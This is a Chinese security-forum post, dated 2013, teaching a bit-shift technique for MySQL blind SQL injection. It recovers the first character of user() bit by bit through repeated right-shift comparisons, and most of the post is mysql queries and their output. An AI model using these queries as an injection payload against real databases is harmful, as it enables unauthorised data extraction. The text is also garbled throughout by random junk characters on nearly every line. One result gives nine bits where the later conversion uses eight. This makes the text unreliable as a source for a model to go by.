找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位0 R: \( E3 z9 x2 R# P1 Q+ R& }

+ V" p7 R( h! y7 s' n7 ^8 l. Q
2 S0 p1 O, l+ I
$ f: n/ `! Y' w) l下面将以查询mysql数据库当中user()的第一位为例:: s+ `5 T5 F4 `4 N% T* n/ \
. V- H% `; C6 q  H5 m2 o& E
) L2 F) k! u9 q6 \' z; ?4 |" {
, Z2 j5 i+ B: ^& X
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1); z. i8 k( G* f8 f2 b7 e" |

) H# [0 [3 R* k  A  O& u
( ?" v, s' N- E) q" y
# J7 \. ^; B5 @! I1 d首先执行如下sql语句:+ i# \" o: b& c. _4 o. E* r3 Z

6 m+ u# g( |( {" J1 V) d 2 k9 B/ `6 g9 [4 L7 d

0 K# Y$ `( w" t4 a5 M; e% Xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
5 E3 d& E& [: Q
  L% l' P; a- b' P( A+ N 3 J* R4 W4 z) R4 h/ }

% W% ?% k* z+ p- I; N% \: I我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的+ F7 e: Q0 U" f
7 }! ^) u, {7 u  `' m4 O: Q
. E, y  Z% P# a; N

5 m- @1 W4 h  P" T) c第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1+ r1 p' j8 D. S3 l
1 L) v3 H2 f2 w) {- T; ^

" C" M, |" D% j1 \0 E: o4 j* s5 ~0 @( D( c2 X) I4 F/ L# \: s
如果运算结果为1,说明第一位为0,不为1
  J6 s$ c9 Q1 ?7 J, J8 w3 ?5 N- `+ S3 H: r8 y. [3 w

2 J& M+ ~" M) _2 S# Z$ D2 @. O6 P& ~% G
+————————————–+
0 x/ y1 ]/ D8 N- `4 F  [( C( Y* L0 c4 p& c8 R
| (ascii((substr(user(),1,1))) >> 7)=0 |" e" y% J$ E! T7 A5 U; j3 H6 \( @

3 K: M7 p# _- ?; x+ _1 t# F( V+————————————–+6 T7 D4 i" K" m* S4 V$ k
+ d$ @+ {8 |$ k
| 1 |8 a1 n, t; J2 j. M; D& `3 \+ b
7 u* q$ m8 O: ^! Y- V. A5 B
+————————————–+, m% x7 v( B/ K# P. G

) Z1 l& a, j5 x1 }% u1 row in set (0.00 sec)# J7 ?6 g$ B3 d

3 d& Q+ R. g( `7 s9 W! q这样我们就确定这个8bit的ascii的第一位为0
$ ~, I+ i1 \. Z; p, M2 m
4 K2 q, p; A: s6 b! E, I5 N . E0 ]( N5 h$ [; d( t: D4 S7 P

& x+ Q: q5 K% f+ S) Q) c, }3 x& V第二次我们来做6次右偏移来确定前两位2 b2 C! s2 u* S+ Z% H

8 V2 o: u! n. d) o
7 l1 Z8 S: B5 o0 [" i( c7 Z+ ~7 K% c/ u" u8 W+ ]
前两位可能是01或00,即依然可以与0做比较,3 ]5 j. ]  B- z7 [$ Q
/ {! w' {+ m+ N1 W  I6 C+ v
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;& a/ ?' x: `5 v& D- H2 n! N  `: ]
& E9 a0 T# S1 b' G4 Z) N
+————————————–+
% f6 F$ \. }; m6 r$ Q6 y7 K( Y  d
| (ascii((substr(user(),1,1))) >> 6)=0 |2 y+ ]/ F; @# e) ?; w  @* z, u( |" H- G
+ i( k# p8 K5 t% g& W  j  f- M" m8 S
+————————————–+
, @0 X7 M% J" u& z9 T1 B3 n! l! A% }* v7 E
| 0 |
* J) G4 ~* K8 T1 X, `6 b' |: v( g+ `, K4 K9 R8 E& T! M
+————————————–+1 _0 a0 Q% D( B1 q
, a% n' r! x- ^+ v" Q
1 row in set (0.00 sec); r  ~& J+ o" S2 ^* ?, i* P
# u& ~* r/ k- I. l0 N  \) |; K
' f0 }/ Q) O, m( `: f, A! E6 ?
4 U. _. l! I4 @5 j& ~1 L- b
结果为0,即第二位为1
: F/ p" l& L! {1 Y. s' V5 T# \5 E. T" |6 H  B6 r

( @0 p' @( p: u% ~% k
! C* H) [/ q4 L+ ^" c: x  K# x开始猜测前三位为010或011/ Z( X- B5 C% ]. W3 v2 p9 z
0 b1 j8 v- u, x- v! |
3 O" `9 t% Q! U/ `
) H! M% _$ R2 w0 y! I7 R( v) k6 y
让我们看看010和011的ascii码是多少1 |3 c$ P& A/ S( X' }  m
: _1 Z3 `1 Y. e; R1 k; R4 X# A
& U$ ]/ G: \- y* D8 g5 G1 Q" O
8 U' M" G8 q* u# [
分别查询select b’011′ select b’010′
" _$ M2 ?) a: A6 i) ^+ t6 l- z  Z$ @( o9 @, L8 l
' Y/ h6 @. V1 z, _" ~- b

  L0 Y8 g" _" N7 ~3 F获得结果 010 = 2 011 = 37 y6 J$ h$ l: U

+ p5 \! s" Q  X9 Y6 t; L- S9 y
% m- X# u8 K) l; p& q9 y
5 g" c$ o* ]+ ^; t  A5 ~2 B执行如下sql:& H% m4 Z9 o- [9 f
! Q2 d: D- R* M+ A9 e
# {# m, v) w! s& l' r+ _. C5 u  X

: I& L' Q' x. |1 N6 l5 s# ?/ |( O* fmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  G; |0 p' l* u8 U* x* P: v3 m+ L0 F- O
+————————————–+
- M1 o! s2 _4 s0 p1 L. ^1 {; a( ^7 p! N3 G% L- F
| (ascii((substr(user(),1,1))) >> 5)=2 |
' p3 _3 v% B, G3 {. H# w* V  c' k, G6 u' u
+————————————–+
4 Y1 @) U3 f* `, Y+ u  z$ R8 @6 ~& n
| 0 |$ T7 a- }- y) p* J: t# F* y! G

' Y% u3 _7 _! a$ ~) R+————————————–+
- |. W- L2 J; K" f0 s0 ~, r+ k" F$ h, y
即前三位不为010,而是011
- s" a& x* v+ ^( B1 [6 i3 h9 b8 W* m# ~, x3 U- ]& @5 ]

3 {7 \  \7 C0 q/ v8 e
' @) a4 v0 r' A! p7 ?1 A直到获得最后一位1 y( X4 k1 c: H% b- P/ I4 ?
1 H! K. z- F# q3 M
1 w$ E7 r- D3 v( E2 {, i/ K' Q

0 f7 K, N) k5 |7 [* M( A最终结果为:011100101 _+ C8 Z! x+ `$ a
4 p: Q- r" z0 ?  w2 ?3 _2 I
6 t) x3 M$ u( \  I
' P( O/ M7 `: [/ m! ^- L$ }
转换一下:" \% }- B9 R" H" j6 p# u

/ T! h: r8 D' E
+ A6 {+ k  k0 _) K; q( P2 L; H9 X' I* W% ?
select b’01110010′
! M! F: P; ^9 N" o9 L/ V  {7 A: r/ }) U2 a" S0 E
9 S/ E6 n+ `' _* ~9 U4 S

. C4 m. k4 F. {& l+ `( e查询结果% `3 L6 O' h. x, C0 ?
5 q8 p. I, X9 ~2 H& e1 ~
. H& |) H3 q# Q/ F' i5 W0 e. z

' O- }1 M9 @3 K) E8 P" ~: r+————-+4 S" J. C5 R9 }3 u9 g0 ~5 u% u
: w# D: ]5 Q! Z
| b’01110010′ |
4 K; }; f7 s+ k) y  N2 d- e, [8 Z4 K$ Z
+————-+2 N, s& u/ `) T" B4 |8 F1 e, K

' Y! ^  V% o- @. Z+ J  @| r |
* I0 S0 x9 v4 p
9 |4 f3 X6 w7 P$ s# r3 D: e+————-++ y, y$ j0 u8 }/ c2 N# p
' G. S* D) b- [- r0 @; _* X
1 row in set (0.00 sec)6 O3 N% Q) \7 t" d+ Y$ w
' R. ^) h$ C7 t/ M" f7 i

- x! M0 s; {/ l, C+ @6 }$ z3 P5 r
这样我们就获得了user()的第一位.其它位依此类推
3 R2 T0 [5 {! t! R% f
4 t* m/ P) i  t4 r0 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表